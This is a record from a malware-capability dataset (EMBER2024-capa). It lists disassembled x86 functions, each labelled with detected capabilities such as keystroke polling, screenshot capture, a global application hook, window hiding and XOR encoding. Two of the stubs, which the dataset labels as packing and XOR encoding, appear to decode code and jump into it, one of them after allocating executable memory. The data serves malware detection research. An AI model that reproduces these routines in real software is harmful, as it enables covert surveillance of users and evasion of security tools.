joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436ca8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x436cf4
mov eax, esi
call fcn.0044c538
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x436cf4
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x436cf4
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x436e33
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x436d34
cmp eax, 0x108
ja 0x436d34
mov eax, esi
call fcn.0044c538
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x436e2a
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x436e33
jmp 0x436e2a
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x436e13
cmp eax, 0x20a
ja 0x436e13
test byte [esi + 0x50], 0x80
jne 0x436d66
sub eax, 0x203
je 0x436d63
sub eax, 3
je 0x436d63
sub eax, 3
jne 0x436d66
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x436d7a
dec eax
je 0x436d8f
dec eax
je 0x436dac
dec eax
je 0x436d8f
jmp 0x436db3
mov ecx, ebx
mov eax, dword [0x45e0e8]
mov eax, dword [eax]
mov edx, esi
call fcn.00455ce4
jmp 0x436e2a
cmp byte [esi + 0x5d], 1
jne 0x436da5
mov eax, esi
mov si, 0xffed
call fcn.00403338
jmp 0x436e33
or word [esi + 0x54], 1
jmp 0x436e2a
and word [esi + 0x54], 0xfffe
jmp 0x436e2a
mov eax, dword [0x45fb14]
cmp byte [eax + 0x20], 0
je 0x436e2a
mov eax, dword [0x45fb14]
cmp dword [eax + 0x1c], 0
je 0x436e2a
mov eax, dword [ebx]
mov edx, dword [0x45fb14]
cmp eax, dword [edx + 0x1c]
jne 0x436e2a
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0044c47c
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403338
jmp 0x436e33
cmp eax, 0xb00b
jne 0x436e2a
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.004355c8
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43a3a0
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x43a3bc
cmp dword [esi + 4], 0
je 0x43a3e9
test byte [ebx + 0x55], 1
jne 0x43a3db
mov eax, ebx
call fcn.00438f40
test eax, eax
jne 0x43a3db
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x43a4f9
mov edx, esi
mov eax, ebx
call fcn.00439ec4
jmp 0x43a4f9
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43a4f2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043c248
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00436bdc
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043a3a0
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043c248
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43a4f9
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x440bc0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x45e26c]
cmp byte [eax + 0xc], 0
je 0x440d2d
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x440d26
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45fb68], 0
jne 0x440c14
push 0x440d34
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x440d3c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb68], eax
cmp dword [0x45db90], 0
jne 0x440d0f
push 0x440d4c
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45db90], eax
cmp dword [0x45db90], 0
je 0x440d0f
push 0x440d58
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb6c], eax
push 0x440d68
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb70], eax
push 0x440d7c
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb74], eax
push 0x440d94
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb78], eax
push 0x440dac
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb7c], eax
push 0x440dc0
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb80], eax
push 0x440dd8
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb84], eax
push 0x440df0
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb88], eax
push 0x440e0c
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb8c], eax
push 0x440e18
mov eax, dword [0x45db90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb90], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x440d2d
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x444bb8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403e8c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x444c07
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004040fc
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44c3ec
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44c43c]
test si, 4
je 0x44c400
or bl, 1
test si, 8
je 0x44c40a
or bl, 4
test si, 1
je 0x44c414
or bl, 8
test si, 2
je 0x44c41e
or bl, 0x10
test si, 0x10
je 0x44c428
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c437
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44c440
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44c478]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c459
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c468
or bl, 4
test esi, 0x20000000
je 0x44c473
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x452b20
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x452b32
add esp, 0xfffffff0
call fcn.00403460
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041cbc4
mov eax, dword [0x45df08]
mov dword [eax + 4], ebx
mov dword [eax], 0x452ec4
mov eax, dword [0x45df14]
mov dword [eax + 4], ebx
mov dword [eax], 0x452ed0
mov eax, ebx
call fcn.00452edc
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040310c
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040310c
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040310c
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040310c
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040310c
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44f2f8
push eax
push 0
push 0
mov eax, dword [0x45e064]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41e620]
call fcn.0041fd5c
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41e620]
call fcn.0041fd5c
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41e620]
call fcn.0041fd5c
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.004532fc
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4531d8
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4531d8
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4531d8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x452c6f
call fcn.004034b8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x452fbc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x453167
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x453148
mov dl, 1
mov eax, dword [0x4152d8]
call fcn.0040310c
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403e8c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x453137
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00440f20
test al, al
je 0x45312a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x453178
lea eax, [ebp - 0x254]
call fcn.00408d78
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45312a
xor eax, eax
push ebp
push 0x453123
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4531b0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45310c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004040fc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45310c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004040fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45312a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45302d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00418db4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45316e
lea eax, [ebp - 0x260]
call fcn.00403e8c
ret

Function at 0x453a9c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45fbb4]
cmp byte [eax + 0xa5], 0
jne 0x453b0d
cmp dword [0x45fbcc], 0
jne 0x453ace
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x453a58
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45fbcc], eax
cmp dword [0x45fbc8], 0
jne 0x453ae9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45fbc8], eax
cmp dword [0x45fbd0], 0
jne 0x453b0d
push esp
push 0
push 0
push 0x4539fc
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x45fbd0], eax
pop edx
ret
Function at 0x453c04
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x453c1b
add esp, 0xfffffff0
call fcn.00403460
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041cbc4
mov eax, dword [0x45e050]
cmp word [eax + 2], 0
jne 0x453c43
mov eax, dword [0x45e050]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004552dc
mov eax, dword [0x45e104]
cmp word [eax + 2], 0
jne 0x453c5d
mov eax, dword [0x45e104]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004554d4
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040310c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040310c
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41f0c8]
call fcn.00426994
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x453de4
mov eax, dword [0x45df6c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00426d64
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x455a74
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x45df6c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c4c8
test eax, eax
je 0x453d52
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040876c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c4f0
test eax, eax
je 0x453d66
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004040fc
mov eax, dword [0x45de44]
cmp byte [eax], 0
jne 0x453d9a
mov eax, ebx
call fcn.00453f0c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00455c50
mov eax, ebx
call fcn.00456614
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x453dda
call fcn.004034b8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45418c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45fbb4]
cmp dword [eax + 0x30], 0
je 0x454236
cmp dword [ebx + 0x94], 0
jne 0x454230
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45411c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x454230
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4541f6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x454230
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00417224
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x454205
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x454d98
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x454dcd
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f7c
jmp 0x454dda
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403ee0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x455e2c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x455e6d
mov eax, esi
call fcn.0043c54c
test al, al
je 0x455e6d
mov eax, dword [ebx + 0x84]
call fcn.0043c248
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x455e6d
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043c248
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d7a
sub eax, 0x403d20
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x403203
pop dword [ebp - 0x2c]
mov eax, 0x4e7a0574
sub eax, 0x4e39d371
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x6b964e92
sub dword [ebp - 0x3c], 0x1d440947
mov dword [ebp - 0x38], 0x9b28e191
add dword [ebp - 0x38], 0x970a6ab4
mov dword [ebp - 0x34], 0xe0ae1f85
sub dword [ebp - 0x34], 0x9461db57
mov dword [ebp - 0x30], 0x97e8eaca
sub dword [ebp - 0x30], 0x97e8eaca
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xeb3dba53
add dword [ebp - 0x3c], 0x8934af03
mov dword [ebp - 0x38], 0xa247d340
add dword [ebp - 0x38], 0x9f248e35
mov dword [ebp - 0x34], 0x9170e9e3
sub dword [ebp - 0x34], 0x2e017d77
mov dword [ebp - 0x30], 0xd12d162e
add dword [ebp - 0x30], 0x2ed2e9d2
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x3b89a194
sub eax, 0x3b4920c0
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x398ad
push 0
call eax
mov ecx, 0xdd515314
add ecx, 0x22af00b7
xor esi, esi
add esi, eax
mov edx, 0xd11ecb7a
add edx, 0x2f224486
add edx, dword [ebp - 0x2c]
mov edi, 0xe52333f1
add edi, 0xa7a922ca
mov ebx, dword [edx]
mov dword [ebp - 0x28], 0xb6fdeed9
xor ebx, edi
sub dword [ebp - 0x28], eax
mov dword [esi], ebx
xor dword [ebp - 0x14], 0xef13fc16
add esi, 0xb2a2ef16
sub esi, 0xb2a2ef12
add edx, 0x3808adc7
sub edx, 0x3808adc3
loop 0x403322
add eax, 0x4b92796d
sub eax, 0x4b91376e
mov ebx, eax
add eax, 0x2b8e0e54
add eax, 0xd471f1b1
mov ecx, 0xe3bc61c8
sub ecx, 0xe37c61c8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret